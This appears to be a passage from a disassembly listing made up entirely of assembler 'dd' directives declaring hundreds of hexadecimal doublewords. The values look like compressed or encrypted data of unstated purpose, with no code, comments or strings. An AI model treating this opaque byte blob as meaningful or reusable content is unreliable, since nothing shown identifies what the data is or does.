0B055F869h, 40459D60h dd 8F5D0F2Bh, 84318ACDh, 70AEE989h, 0F380166Eh, 0DC0D0B43h dd 4813FAF4h, 3CEC58EDh, 0D5572997h, 3F00BE3Dh, 0B997D716h dd 0C5C7012Eh, 4D8D290Bh, 536705h, 0C151AB7h, 75985h, 16F884B3h dd 4676F38Ah, 0C2231D13h, 0C01C6C1h, 25D05B02h, 54868B95h dd 9D2950FBh, 0CE02F925h, 91BE908Ch, 68909C5h, 0DCF5DEh dd 8938D086h, 0F5E9786Fh, 291DAF93h, 6327558Ch, 0FF044D46h dd 50020820h, 0DDFDF5BFh, 4E3D7F1Ch, 0B6DB4880h, 4B6BC0E5h dd 1798DF9h, 235593h, 25AC1868h, 63C3A776h, 60A857D1h dd 1897F9B2h, 0F195295Dh, 959D9148h, 0BE90EF24h, 0B8D2F723h dd 0FE170Dh, 0A9AA98E5h, 73EDA6DDh, 0B1918D5Fh, 0BF0087F5h dd 2F20F246h, 15F4D28h, 90B1070Bh, 0B4C0A1CDh, 42A6C97h dd 0BA3CD946h, 80E2B86Eh, 0E42DC31Ch, 0C4360E29h, 0B5A47D74h dd 803394E9h, 5AC781B6h, 94D7DC49h, 2D611211h, 915960EAh dd 1E002C13h, 0F4D1F33Bh, 5D5F07B7h, 0EABD8761h, 204F145Ch dd 7591BDB6h, 0BF600076h, 90123F88h, 5A7E61CDh, 0CB0CC638h dd 1278F8Bh, 4725FEDEh, 20111CA5h, 59697D96h, 5D8D8437h dd 0B2B63B2Ah, 0F01B1920h, 311497DAh, 7620AC45h, 8A3D5293h dd 49039BC4h, 52F056B7h, 0D4397Eh, 27B4CE93h, 0FD0FB7F9h dd 5CEEA937h, 0E9F65C89h, 0B980E1B5h, 2201D86Ah, 1653254Ch dd 8903F764h, 317867FEh, 5C7798CDh, 0C96C168Ch, 4A8AE823h dd 43ADB484h, 2455BDC2h, 0EDADFCF9h, 0EBDCC955h, 8D50F9C3h dd 5B5BC809h, 1DB30205h, 0CE638D31h, 29DA764Ah, 78C019C8h dd 2D2FD9EBh, 45F92CB3h, 7DBD2982h, 0E9CF5C25h, 0BDB2B075h dd 0E70C5A29h, 12404812h, 1CE18D4Bh, 0C98E9E2Ah, 7F3D9962h dd 6EA6530h, 385A2BF0h, 41208053h, 325B4B23h, 325CF9CAh dd 708A5B27h, 0E93B0BA1h, 61C61F35h, 0D0972489h, 990F4B25h dd 0E16A2B57h, 6AEEAC00h, 5E8C46B7h, 0A2B08A4Fh, 9C094B41h dd 0BD282B5Fh, 0B5123901h, 39B820E1h, 0C0179BB5h, 8BC2ACD6h dd 1AD109A1h, 577F0EFh, 38090BBFh, 4BF27941h, 4971AE5Dh dd 351773FAh, 24D2BC18h, 19A485F9h, 73546A09h, 1C1B5965h dd 28B307EBh, 99CEF88Ch, 260065F1h, 8A5701E7h, 9555097Ah dd 3F01CE8Eh, 3E5B02D0h, 29AD4284h, 0A811E9D2h, 11170086h dd 3F4A8BFDh, 1497F8A4h, 89254429h, 151D9516h, 1C11EF21h dd 7DF9602h, 45BDFA6h, 5641071Fh, 0F8277BBFh, 3FB05B4Dh dd 0EBC4C94Eh, 5DBD9C52h, 449FB1ECh, 0DF2009F2h, 7B5C1AFCh dd 543309E9h, 1A46D6F3h, 0BB399F13h, 0CC05D125h, 63650595h dd 1CE56904h, 0B2D24EB9h, 0BF62892Dh, 0E72B121Bh, 116A5F44h dd 0F9C62113h, 0FEAEE8E6h, 5BD21272h, 0D631E243h, 1FDD1C80h dd 85324BE9h, 3EFF8D2Ah, 7B3847A6h, 91F47700h, 0E781C76Eh dd 7606641Fh, 0C18B5FC5h, 12CC6EEAh, 0DE39EC9h, 562CE45Fh dd 5726CA9Dh, 39DA1F8Bh, 0E021CDB7h, 92A510A3h, 1641DD0Bh dd 2BFC431h, 0ADBA1540h, 0DDD949A7h, 47A0DD07h, 3252A980h dd 1D5B7879h, 85DF8355h, 0BD6AF40Eh, 80BCAEh, 5B5961AAh dd 3C88BFC0h, 82718428h, 0DB9F5475h, 0B819D0E3h, 78C0832Eh dd 63A000F4h, 0DADFCE2Ch, 300E46F3h, 579D89BAh, 50FC7540h dd 2F4D63BFh, 9B730670h, 2DDF2AD8h, 2B71DD06h, 55C78006h dd 0F9F85F0Ah, 9D7DADB8h, 644E7082h, 0F093DFCh, 0B1EC593Ah dd 14DD2h, 171698BFh, 0F8FF772Dh, 0BEDEC0F8h, 412A3F7h dd 95314A8Ch, 5B4EA09Dh, 6AFEFB97h, 9902DCF0h, 6A52F380h dd 0E00BCD02h, 1A752DBAh, 10F14B05h, 3D809063h, 9950FF33h dd 0DF9B8BBCh, 64FD9200h, 2C04D84Fh, 909FE06Dh, 72C0639Bh dd 9469FAA1h, 0A584345Bh, 0EA39B782h, 0F135D5BDh, 4C891491h dd 31BE04FFh, 0ABEAE904h, 415E3F38h, 0FCF48B84h, 0B943B79Ch dd 0C902B00h, 2E48D0B6h, 0E0DDA04Ah, 0BA81839h, 0A5F467E0h dd 0BFD61401h, 155A7602h, 0B884132Eh, 65DB8027h, 0E443C822h dd 280B007Ah, 0FB2EA594h, 0FD040AB9h, 5F507036h, 0FB6884BAh dd 0D9E2B117h, 0C788BC4Fh, 70E9D0CCh, 0AFE391A6h, 0FF4068F6h dd 408C6AAh, 6B1D7E5Dh, 6BA2FEh, 0F6F5E6BCh, 4440AB6h dd 5F5B519Eh, 0E024B690h, 0BC2DDEDh, 3DAA6492h, 5C524B5Ch dd 9C00D464h, 9C1E766h, 4B4795E4h, 3F5D99C4h, 2401A2F2h dd 0E6B70A9Bh, 60886BCEh, 2D5F28Fh, 820D5D91h, 78C0AF7Bh dd 71F9F7E2h, 0B3F67F79h, 88716A3h, 89A6AC60h, 90ED5AB5h dd 0BC1BD58h, 0AD966695h, 538260F0h, 7D0BDCCCh, 824D4B96h dd 5D2B1965h, 0AA45124Fh, 133E8881h, 28252B6Ch, 4C08B0C5h dd 85090701h, 1344FB1Dh, 0BAA80DD2h, 94EDB02h, 95167h dd 0E4C1B3B9h, 0D98B2571h, 126B8C8h, 0BFCCBFh, 7B2E251Eh dd 886E188Bh, 0D40D0425h, 0C65652B6h, 3440B32Eh, 9A5C25h dd 60BDBF3Bh, 5FFC5A7Ch, 57D11197h, 4DEA817Eh, 4E961531h dd 2E125BAh, 0B561035Ch, 0B30C15E5h, 0C85C2B71h, 2C0122FCh dd 384709F5h, 0D10B8B40h, 0F7E59D33h, 92F45429h, 1153650h dd 0C546EE50h, 0C451E804h, 0FF0EDDF8h, 13BD858Bh, 0FA8087B9h dd 28C1A416h, 0D6B7A00h, 0FB1039D0h, 9D810ACBh, 80162FD5h dd 0E7562602h, 4C0113B1h, 62B365D2h, 48F0CC7Dh, 0C0224B54h dd 2D952915h, 14222FE3h, 91095EF8h, 0A5A04B24h, 7A73E9EEh dd 48395800h dd 37CF7F1h, 327B8700h, 9978FFE8h, 0E94318D5h, 10BF2B41h dd 45476A17h, 52234BFh, 0B41ABDB3h, 204B9189h, 882117D8h dd 0BA7CD380h, 0FE1EA550h, 0B056E6B5h, 819684FAh, 5ED25DD5h dd 0F4C85012h, 0E898EA5Dh, 10AD4CACh, 0CCFB33C0h, 7E007C64h dd 0D5C7BE2Eh, 3060DCE1h, 0BB6222A5h, 6F25C1B1h, 9819E677h dd 128D2D53h, 523329B0h, 96D0C402h, 5780A040h, 331EC04h dd 4C3FB95Bh, 85135B2Bh, 0F354AADFh, 0DFDB4A9Bh, 4E0D80DCh dd 8F52941Fh, 544060BEh, 4144A5Eh, 98CAEC4Dh, 0C6CCAEC9h dd 60EF2780h, 0B870A758h, 629A6F97h, 1C60F82Ah, 0E8722B4Eh dd 0DF81D200h, 3ECAACD4h, 1B86380Fh, 58BA65Bh, 564207F2h dd 3B9F39EEh, 3DC8BAC7h, 0D3C8B64Ah, 2AA8BCA9h, 98405E00h dd 92A0E23Fh, 0CBAEDD0Ah, 27C056C7h, 3D9D2E5Dh, 228E090Bh dd 9F090F09h, 2BC3CA54h, 16FEEDBDh, 3CC9B2D8h, 781700CCh dd 3750B4C1h, 0C6CD00DFh, 10073029h, 5F5AD039h, 0BD012E30h dd 0DD2AFD79h, 0FBE5DBC1h, 0C1A88E52h, 232C60ACh, 25202A95h dd 90256920h, 0DA8153DFh, 0B4001222h, 8ED918ACh, 0EC45A44Ah dd 0DB7F00D8h, 2617A52Fh, 8B9D8891h, 599756B9h, 0E3801028h dd 8AB87037h, 4B0056E4h, 0FCE0D4CCh, 9CA9805h, 9E2703DCh dd 0B5D730D5h, 25224241h, 115DC5F9h, 0F88B13D3h, 0B2D2DFECh dd 2BD98D4Ch, 4C66E2Bh, 3270DD7Bh, 3D1301FCh, 9F38AA22h dd 81578A70h, 60854194h, 47B82079h, 13B49A07h, 6A64CB01h dd 5CA1E382h, 164D2D30h, 2B4F4DC0h, 504B0EDBh, 0C82C784h dd 545C02B7h, 8058B727h, 0A5F8092Dh, 0B32747CAh, 2EE60450h dd 87BB5B01h, 2E59D1EFh, 0A0F26048h, 4A4FFA91h, 53B38C27h dd 0FAC38009h, 0A543715Fh, 0C0C4DC11h, 66162426h, 45A616FFh dd 20AD9D1Ch, 9BB5F40h, 320EA0D2h, 9C07087Fh, 68DB0AB0h dd 4A91E6A5h, 8947A0D7h, 94560244h, 409C2EC3h, 0DC969443h dd 16CDAF01h, 1FB35955h, 0F158852Ah, 8D28D4C0h, 7AA621E5h dd 5CC94D28h, 0F8B56C85h, 0BC05AAE3h, 0B8733332h, 89F912BFh dd 0ADFC5AA9h, 72DDF92Ch, 83BF2160h, 0A661609h, 2C7FA494h dd 77E95B80h, 9222B57Fh, 0E10923C1h, 9B6B04C9h, 0C01BC85Ch dd 0C08A452Eh, 1331E609h, 4B0E70CCh, 20628DDEh, 285A2514h dd 0B7124DE7h, 1012E7F4h, 0F5892D9Dh, 64F82C18h, 65139800h dd 0B509CBEAh, 0E916692Dh, 950F035Bh, 31CBD05Dh, 10E8384h dd 5052B796h, 0DCB4DCD2h, 0CAF7504h, 25823A87h, 10111116h dd 53AB89h, 40B1A247h, 6D1D20F5h, 0AC1EA77Ch, 56E5621Fh dd 0FC3C7B97h, 34BCCA0Dh, 1ADA2E4h, 24B435EEh, 163A8D4Ch dd 1FEC0h, 31388C78h, 0D4C86F0Dh, 0D1DBBF50h, 0ACCEFB00h dd 3E2B42DAh, 5EB8EA4Ch, 202FCDBh, 0B466EEBFh, 85859236h dd 57FE585Dh, 0E044B760h, 1151033h, 47DBD7CAh, 2022E07Ah dd 3BE9995Ah, 44E8CCC8h, 0CA01DC08h, 0BCAB1468h, 66C8EA5Fh dd 82691DB8h, 92BE4761h, 83DC5B7Bh, 0DB99DB44h, 2FF3ED60h dd 6DE6125h, 8419B5DEh, 16A89289h, 0FF1A6ACh, 0EC20458Ah dd 0F997808Eh, 10126C7h, 3B035060h, 0DC48E3A6h, 94955F61h dd 39206BA1h, 2C509857h, 6B8B001Ch, 77D0CB9Ch, 1404B544h dd 615376A6h, 318F3AB8h, 3B039D84h, 0C42BEB5h, 401798Dh dd 2812FB03h, 58E172A8h, 9FCD0504h, 96FBFC02h, 44227A5h dd 0FF4043CFh, 13233E3h, 0CFBB7630h, 3B6AE8A9h, 0EB810731h dd 4AB0AADCh, 347EB75Ch, 53ACB7DDh, 6CDBECD9h, 0A3894AB8h dd 35F6F2Bh, 0AFB8943Dh, 0FC43F389h, 15B809AFh, 0B7AC9655h dd 0C1001C35h, 0EA65C71h, 0B428262Bh, 96508ABh, 0BF669601h dd 0A36E5AB8h, 3C100E2h, 61685D3Ah, 0C7514996h, 2ED5F25h dd 52611564h, 6E742EFAh, 301E86Bh, 0AA18874Ah, 0DC08A29h dd 46DCC3DFh, 8D1C1C18h, 5492DA8Ch, 0B6D74A1Fh, 7AD54A9Ch dd 0C0E49BEEh, 0ED667270h, 86940433h, 844B423Ah, 7140AA30h dd 5D1AF381h, 0A63B4EF2h, 0E5BD0B0Dh, 49CC5626h, 0BB2FAEA5h dd 0CAB6A367h, 0BBA600AEh, 820E1F68h, 8D02B3BEh, 26A3AB39h dd 1F19D195h, 46BF80D6h, 0F13B84C4h, 0F90ED698h, 0C11E63CAh dd 0A6878897h, 7F22A53Ah, 4A869EDBh, 1145AC8Bh, 1883362Bh dd 0C5161925h, 71DBAD7Dh, 5A23250h, 870840EEh, 20A36Ah dd 0F41753FBh, 9557CBF1h, 0E59F1546h, 85DF50AAh, 4EE94A2Ch dd 7D5E1C09h, 1891DA35h, 0F58A4880h, 4BDEEE2h, 84F62200h dd 5E9E7B00h, 0DC03236Ch, 84824A5Ah, 5290775Bh, 2700C38Eh dd 5350C9DEh, 0BF5A5760h, 24347C40h, 3F7895BBh, 6C4513C0h dd 80F3BCB0h, 0F08CA09Ch, 468E259Dh, 1D59855Bh, 0B9006818h dd 6C55BBE9h, 42824E0h, 0C9BD0BC7h, 0F6DDAA2Bh, 109D216Ah dd 8519E801h, 80FDC40Fh, 0F8FCE0A8h, 43AD4DEh, 10D3E718h dd 0A2ECB875h, 59E42923h, 0C400ACE0h, 0FB7BBEFAh, 6F52B4h dd 0B6405C8Bh, 4DBD29ECh, 0ACC274Eh, 0EE89BD57h, 0B0408D3Ah dd 5B953169h, 8DADBC88h, 6EBB64E8h, 548FE612h, 0D1CAF2ADh dd 0B25BA5FAh, 137DB505h, 9F6C2BABh, 0F3A47801h, 282E76E8h dd 2AD666D1h, 7B6FFAh, 8964C7D7h, 0B7BD09D3h, 0E0818F69h dd 0B1255FB7h, 0B3E1CE0Eh, 87DC5AE5h, 0B03D908h, 4BF1810Fh dd 0F0804BBEh, 4E3DB509h, 0B4A0A90Dh, 0DEA042F6h, 0BE5AE993h dd 0A75B8DB1h, 0A0217AC0h, 0B0C2AEDBh, 0B7C18BF8h, 0E21E80E5h dd 0AD7C09C9h, 0A15A1898h, 96908FB2h, 882D8912h, 2317BFC9h dd 5EE5CC95h, 2D8A896Ah, 2EFBB864h, 8FC3861h, 8005020Dh dd 0A380EAE3h, 0B46AE183h, 7E00DE04h, 8F6B4CDAh, 7B02DF81h dd 4C1B6C2Eh, 942507E2h, 0DE60D6EBh, 89B46C02h, 0F20AF59Dh dd 258AE6ECh, 429150FEh, 0B5EAFDEh, 0BEB5F277h, 0F00DEB9h dd 0B43DDDD6h, 6BE3C92Ch, 297F5895h, 59D35BCBh, 248181Ah dd 0BFBACFD8h, 0D25C1162h, 31D98B60h, 1E125B5h, 19F9B059h dd 38011D18h, 4BF913CCh, 282E5F51h, 12E182DFh, 0E0E6CD02h dd 324864A8h, 75F08725h, 0BDA97193h, 901D3421h, 1A22505Ah dd 0D4405798h, 0A5033539h, 5B523DE5h, 9050895Fh, 80EADB2Bh dd 9FD631D3h, 4F4E093Dh, 41DCA9A2h, 32E3790Bh, 0CF1F4h dd 9416EA5Eh, 0D54862DBh, 834B7ECEh, 1110B38Eh, 598B2D94h dd 0AF7E25B9h, 281908h, 0B0C0C681h, 614B6BF0h, 1BC89F9Ah dd 6B4803C0h, 3DBF0BBBh, 987FB2AEh, 4719DEh, 82C0558h dd 0F2633E73h, 0D2CB5602h, 5F0468DAh, 0FC867AE0h, 241666DEh dd 0D000F26Fh, 2067AE5h, 7001AB38h, 8529A430h, 0AD040F31h dd 228E906Ch, 4EBA9575h, 56685D00h, 5E019FE1h, 9E573523h dd 0A03AE002h, 1326925Eh, 0C6021D27h, 5C654E5Ah, 1353524Bh dd 1659F650h, 0A83C6992h, 0CF012518h, 0B65CC047h, 73058EE0h dd 8BE927E4h, 0B95B45BCh, 7DDC507Ch, 298A254Bh, 0F5285922h dd 0FE1297B0h, 168870E6h, 619A1C42h, 2206C1A9h, 328D01ABh dd 0E45B0937h, 81DA8471h, 3CBEBF40h, 24976F4Ch, 4522933h dd 120BA593h, 9FF521B0h, 0BB84E3F9h, 0E0167E3Ah, 314B1E12h dd 60520A81h, 13E5086Fh, 0BDB50303h, 610C1208h, 9ECAD5Bh dd 5D4ED0BBh, 0A2C2BE1Ah, 541B297Fh, 161188F9h, 0D3E449h dd 0F18ADC43h, 0FE373901h, 0A9720500h, 18E57E75h, 0E9982578h dd 5360DB21h, 1E914C58h, 247C4078h, 4E2D1D06h, 17C4615Eh dd 1E2EE8DBh, 75311955h dd 4A2772BDh, 38B30AC1h, 621A8A2Bh, 0D223B528h, 0D9A72559h dd 131915C9h, 0B5CE1160h, 89BD180Ah, 67E9615Bh, 0CB23276Eh dd 749521D2h, 0F43E4D32h, 0FC02041h, 3782B6BBh, 590BD55h dd 0FD0EBE24h, 5FF2C2h, 0EFDA336Bh, 832D0030h, 0FB7A1837h dd 0FDB05B15h, 0C4D88B25h, 892F4428h, 5897955Ah, 3F00A5F5h dd 0BE6660FEh, 0B58E0DF5h, 82A6164h, 884F0F93h, 81DEE530h dd 0A46339E3h, 36CC2F25h, 0D4FF5527h, 9295F42Eh, 698704EEh dd 4922CACh, 0AAD63E55h, 17C8F4DAh, 0C05436C0h, 95D7A040h dd 2DB98012h, 9DA4074Eh, 340B97DAh, 97DCFC5Eh, 666C9956h dd 0FC324045h, 95EB31Eh, 0FF2C8D4Bh, 33242237h, 540C0EE1h dd 242C35D4h, 11CB23D8h, 0D22B1EA1h, 0A36A9D5Eh, 0FB8BA7FDh dd 8BB68D9h, 561207E1h, 8156CCh, 91F78FD3h, 880D5B71h dd 6B1E4F9Fh, 8A4EA177h, 0E62E8541h, 3214B23Ch, 9758407Fh dd 0F19B950Fh, 49A11413h, 0C8ED2EAAh, 484DC01Ch, 0F4955C05h dd 52BF81A9h, 0D45EE830h, 2617B395h, 12AB5754h, 0A8D22439h dd 5B78A3F6h, 80809B57h, 0CEBCACD8h, 141E042Fh, 0E2E902B1h dd 80E338A6h, 73F4C9B7h, 9E469EAh, 4FE21CF5h, 74F1BC80h dd 794AE1E8h, 9D84A1ADh, 95DBAA05h, 0C2CC17C8h, 0FF2F177Ch dd 0A035BBE1h, 46B2B412h, 0B9047A84h, 72F78073h, 16B01B3h dd 65DC54E2h, 2E6FCADDh, 0D7774F28h, 5F6FBA3Ch, 0A530D704h dd 0A148B872h, 0F72F0415h, 0DFA3A040h, 1F392859h, 5BE962ACh dd 64778956h, 605B2451h, 8500DE41h, 0FEEF888Fh, 4BFC568Dh dd 0DE8B323h, 785FF951h, 0C128D52Fh, 2E191F77h, 0BCB88315h dd 0F88A2525h, 0FE44CF56h, 3D254DB9h, 0E773DDDh, 0DE41B512h dd 2E176A4Eh, 0FE254709h, 2954EBADh, 9F34B5E9h, 0F0CBC4FFh dd 8E1D0A42h, 0E3BB9081h, 50F04C5Bh, 6481FBFh, 0D650FE58h dd 300E41EDh, 2551D58Dh, 0DA10BC3Fh, 50F013A8h, 299556B3h dd 92A2DDF9h, 0F70B5C6Eh, 5BF2839Bh, 0AA356275h, 8749AB8Eh dd 0CDC9D849h, 0E2D4C1E3h, 0C5DA2A17h, 0F7C018C8h, 4AB61353h dd 3890F24Dh, 9FBC806Bh, 0B9FA5143h, 0E3480BEBh, 0D464674Ah dd 80420100h, 3A3F2007h, 1EDD02D1h, 5BBE817Ah, 8B68B65Ch dd 0E917CF01h, 142D01E2h, 5E08F510h, 3F4C14A2h, 0E9DCB802h dd 0D64093A0h, 4097559Ch, 4BB170A9h, 93988D5Fh, 2E84A162h dd 0D5C477ADh, 92302912h, 0B6045A1Dh, 301DF219h, 93002860h dd 5C26A84Bh, 80D7C1EDh, 0A1219531h, 9F7B4B08h, 9BBB570h dd 6CFA47BFh, 1EBCA770h, 0BE715340h, 959E0EA0h, 0D1E29CB9h dd 1A77CBCAh, 0F8EFE024h, 965B2708h, 1FE7BF10h, 0B1CAF71Fh dd 0E433BD85h, 0D15F8DFAh, 5AF055Bh, 0BD96DA5Fh, 1264B872h dd 847A5A9Dh, 93BDAC2Ch, 3856FABh, 1D071372h, 5B960957h dd 0CB16DE8Ah, 0BA200DB0h, 0BF47C776h, 8A6F373h, 2462EACDh dd 0C9DE4689h, 84D76004h, 1F20E817h, 590AEBF8h, 8C1603FDh dd 15B722B1h, 81870CBBh, 44B89DC3h, 0ACD1B930h, 962E8C15h dd 0B511F547h, 14E45027h, 814D9300h, 7CAB548Fh, 5A13AF7h dd 628A6F85h, 2D0DB1EEh, 819B4EF7h, 2DEC9E81h, 0A384CC47h dd 3BBF4913h, 9D033060h, 610DC0F9h, 0AD8D89F5h, 70B60E5Ah dd 0A2A2E6D3h, 6A6AC046h, 15AD2450h, 91109E8h, 7272035Ch dd 6E4DBD3Eh, 1AD546C0h, 52C44C2Bh, 0E95CB004h, 0C59CBA27h dd 1D830233h, 0BC9867DEh, 0C075ED5Ch, 0F543BF51h, 5B7B8213h dd 56E017A6h, 0EF013682h, 0F0DEBC1Ch, 282FE37Fh, 3BE9B50Ah dd 0EF18E863h, 0B0DEFCE0h, 0CDAA0A54h, 59DEF9E3h, 263BBB98h dd 0CF4A4D8Fh, 80175320h, 0BEF6B5F3h, 713116B2h, 8A2BCBF1h dd 0DB00A459h, 0EB80DE3h, 0A99C4EC5h, 30D7C2D7h, 4B3857C8h dd 808A2D41h, 89AAF032h, 76EDBD34h, 0C5BF3AE0h, 1D3D2B11h dd 3CD0278Dh, 45E70F4Ah, 0F2E15125h, 3057495Fh, 0B3BA6DC0h dd 9E999E95h, 356F40D9h, 8B00887Bh, 0B6081977h, 41361A4h dd 89EDB43Ch, 3AE9A28Ah, 0C63E8098h, 26C0CA44h, 14FE0964h dd 5CE5BD1h, 3A9B5B7h, 3A5846CBh, 2E1EFAE9h, 1C1DAC21h dd 2050BF8Bh, 15003444h, 315B180Eh, 0A49B4Eh, 0F058ACF4h dd 0C3CD0A29h, 4AAD6C4Ah, 0B58C19ACh, 7B046050h, 8B535963h dd 0CE989FE8h, 4FB5B886h, 7F82606Fh, 2E0B4145h, 70CA2C5Fh dd 8AFF0953h, 0BD7D61C1h, 0F0C909FBh, 0EC67835Dh, 40B67949h dd 0EC8612Dh, 3AFEA5EDh, 0D8050355h, 0B9DC73E2h, 8C19ACB5h dd 9F38AE73h, 894F7CBDh, 96125CA2h, 7C8AA50h, 0B7617AF0h dd 6E09B6CCh, 0FF47F6A2h, 2A0966B8h, 4004CFBFh, 6D16D5AAh dd 84BA3212h, 498859E2h, 0B9DF8086h, 0BF5202A8h, 427946D2h dd 0B85624E1h, 306445A8h, 9F86FA50h, 96124273h, 0EE061A6h dd 0AB1625DDh, 8F86B94Fh, 0ABD84C50h, 0AA2F0BABh, 490182D6h dd 0E99D5C2Eh, 86F0079Bh, 9EF4D2ACh, 723EA005h, 40249374h dd 16AB09EFh, 0CD699671h, 0A29A4099h, 0D91C7A06h, 5EC9C838h dd 449A71B5h, 717C582Eh, 0BC53952Ch, 1F8F1ADh, 5264BA92h dd 0BB0A55FFh, 0C22B1E89h, 5B0703BCh, 0DA34C695h, 0B6F462ACh dd 710BA3CAh, 0E9124068h, 67859E4Bh, 0C0B29BFFh, 254A6968h dd 705D0B92h, 18FDC18Bh, 779D2B15h, 4C3A97D9h, 0F7A81213h dd 0D60B3DA2h, 0FF53502Ah, 0C76DE419h, 126788F8h, 5BE7A818h dd 95048902h, 5DC6856h, 2C3B319Eh, 7549EA66h, 782DFB6Ah dd 8C0B7FF3h, 70828E01h, 10BD950Ch, 2F507C00h, 158EA80h dd 66A473CEh, 40D3B9BBh, 0EBA39A9Ch, 0E0306DB7h, 0E6EBBF79h dd 57223A0Bh, 6C107D89h, 68BFC083h, 0DD50908Eh, 886012C4h dd 33057459h, 4B64B98Dh, 0F2560BAFh, 5AF41829h, 0ED4B0E10h dd 31139F1Bh, 0FD18634h, 1C700982h, 0A5FA9435h, 94DE7A66h dd 74AA3256h, 0E076B609h, 95D1FF7Eh, 63CA3C4Dh, 6DE2B212h dd 7E24A88Dh, 8EF03AA6h, 1B4ED380h, 898B0DE9h, 6A5949FEh dd 0A4BF2C30h, 3B1244C5h, 0EB3CB800h, 687DA6EDh, 0F99C0081h dd 263002CEh, 0D50942D4h, 37905061h, 0FA6D808Dh, 0BD6EE7ADh dd 0E3A09917h, 8E29DC30h, 9F76001Ah, 158139Dh, 0EA021BA2h dd 0B531B021h, 9592CCFFh, 47BE84E0h, 3EB65F5Bh, 81048010h dd 0E97EC6BBh, 1E9CD5F6h, 0B4A3A420h, 4909DCD4h, 714CB8EBh dd 0BD298B9Eh, 5080A1D5h, 253584B3h, 2D76E3Bh, 197E4175h dd 224E55B1h, 7F431044h, 9879004Dh, 0F0A8E50Eh, 5104C459h dd 0D71F07F5h, 882A9BAAh, 10C2C01Dh, 91E8822Ah, 63C7AC09h dd 9E7472C5h, 28B0F44Ah, 45665A00h, 0E01170B2h, 0FF6A0013h dd 0E28FF381h, 0BCB079F1h, 5B31DD25h, 0F16BD0F2h, 71C0305Ch dd 0C472568Ah, 0F1A0572Dh, 0B00A2561h, 2B406752h, 0BF7000E6h dd 7A5237FFh, 810271E4h, 0ADC492C7h, 91665C5Ah, 0FA8B1209h dd 7C7862E1h, 29027180h, 0D007494h, 0B98AB433h, 1FDE05Bh dd 14A69284h, 2EA2A999h, 9D337A20h, 0B5175A01h, 2D80425Ch dd 5B4BD8F2h, 6EA27F85h, 1F80A83Ah, 0CB883B5Dh, 4109B2DCh dd 709B441Dh, 0BF80481h, 0B82F05BDh, 0B1089E78h, 470E642Dh dd 0CA00F8BEh, 15FA454h, 0FC23D702h, 33D87CFEh, 7CA84A15h dd 0B0C381F0h, 5E10B517h, 0EC55104h, 0F25C8DAAh, 204B0B20h dd 0CC030093h, 609ADBECh, 0E30D1673h, 307B14B8h, 554DC37Bh dd 73D2F94Ah, 0C04E5F22h, 0D8F7BD00h, 0C4425D04h, 82F1B0C0h dd 0C62BFDA1h, 38E97502h dd 59433D5Ch, 0AFFB4B32h, 0AE044B56h, 62AB21A5h, 66261D80h dd 0F7673FDAh, 31AA528h, 714BBFFEh, 58404ABAh, 3397FC77h dd 0EB088146h, 0CA29DB2Fh, 0A160F5B8h, 0EC6290h, 91DE411h dd 84200608h, 0BD2B9705h, 66081C65h, 9369AF25h, 59302EF8h dd 0B2DD9D8Bh, 3CB92E94h, 0A5FA487h, 44822F89h, 0B1638CFCh dd 3347B0Fh, 5910E03Fh, 0F53C2A4h, 0B61DEB0Ch, 0C361514Eh dd 0F1E9BF4Fh, 20FCF9CFh, 1540B9BCh, 0BAC0252Bh, 2A0964FBh dd 4A01736Eh, 0FA1A1282h, 8CC38FDBh, 1FB0A496h, 1E909DA1h dd 0C27A0245h, 42D5B796h, 896F5714h, 88460867h, 3C92DACh dd 8982F153h, 55064DB5h, 7C25F93Bh, 0E907C5FFh, 5CD4C674h dd 10C2AF2Bh, 0F140AEDAh, 5098BB43h, 5DCBCBCh, 0CEA843E8h dd 4A4BE803h, 5E381ECAh, 0A4B2F75Bh, 475E73AEh, 4559B8DAh dd 9E181CF9h, 8660A701h, 4CDFF07Eh, 6C235CD2h, 0FF01F9C8h dd 50C4BFE1h, 282E4818h, 75D3DD04h, 3A9C4C01h, 207A36D5h dd 5F011F65h, 0C8B95912h, 0DA8904E2h, 4F65356h, 0ABDF6576h dd 0A305B859h, 27BA477h, 0E3EC9401h, 820C60CEh, 0F8724A77h dd 27EF090Ch, 9EC95867h, 0F863424Eh, 80F77B57h, 24355E59h dd 8995C5AFh, 0E33755C1h, 0BB012E1Dh, 3643FC90h, 2BE0482Bh dd 910922A4h, 79525316h, 1181Dh, 9F403BD5h, 0F947B0E7h dd 3E869758h, 9BFC031h, 75DE688h, 60A5EE59h, 957DCF32h dd 33409276h, 248676h, 1493A346h, 85619E54h, 0B660500Bh dd 1ECF19Fh, 2E645665h, 0C4D97BC4h, 23B887D1h, 90615F0Bh dd 3B921137h, 0FDF8EC57h, 0A48030C9h, 685BD66Bh, 4138F90Bh dd 1DD0E4B3h, 0C0190454h, 0D1FBC6AFh, 0C23B342Ch, 5C3C00C3h dd 1977EDBBh, 0AEC8BF41h, 0DD4BCB06h, 5F61F3F0h, 0F25EE62Dh dd 5AF43217h, 29B5298Eh, 0B93BD513h, 0BD03D80Bh, 8EA5D621h dd 0EA120173h, 581F836Fh, 0B14DD263h, 50F73FCEh, 601899B1h dd 24A0DFAh, 1266EBDCh, 0B3B874BBh, 0C09E58E9h, 7EF273Ah dd 0C1A60079h, 0F460C5DAh, 0BB772858h, 3546712h, 0EA43FAB3h dd 0BCDD8F02h, 47FFB89h, 0B2102521h, 0DE320626h, 36DC2F04h dd 5DB81751h, 0ABFB8012h, 1723D16Bh, 0B79EF203h, 0C051B29Ah dd 812B7182h, 0D5CC65Fh, 31C19617h, 0CDDA1E7Ah, 0A578E219h dd 9549BCE0h, 39610A09h, 9FDC5957h, 25842E09h, 570488C7h dd 825505Fh, 0B38F02C5h, 0A0319C89h, 8C621868h, 0E2C08848h dd 177FC4CFh, 8EDB4000h, 0F2E84F74h, 2A7505BDh, 8589AB5h dd 46A585D1h, 2D017BB5h, 33CB21ADh, 1971C294h, 8B85A945h dd 6EAF61DEh, 205D0069h, 8F9A98B5h, 81781357h, 0A002AFF8h dd 56135A0Eh, 5B825A80h, 87D9E90Fh, 6570A600h, 4425529h dd 0D98B9A8Ch, 0A38EA80Fh, 0D70B8730h, 5A94A9B7h, 7BAB24B5h dd 24E9DA06h, 9D01121Fh, 53FC4261h, 9DFF5BF8h, 959D78C5h dd 2D602F5Eh, 6EB957h, 3326C5Fh, 74C2375Dh, 2561B7B7h dd 0AA073BDCh, 16F7F9Eh, 19432448h, 583827Ah, 27889C55h dd 896F040Eh, 0B8DB5A40h, 863F165Ch, 48A6B663h, 0C72A2518h dd 69D3197Ah, 0CA55F60Bh, 5295FD82h, 2A7E6040h, 0CE5F0280h dd 32ECD508h, 0ED49BC89h, 0F3DD829h, 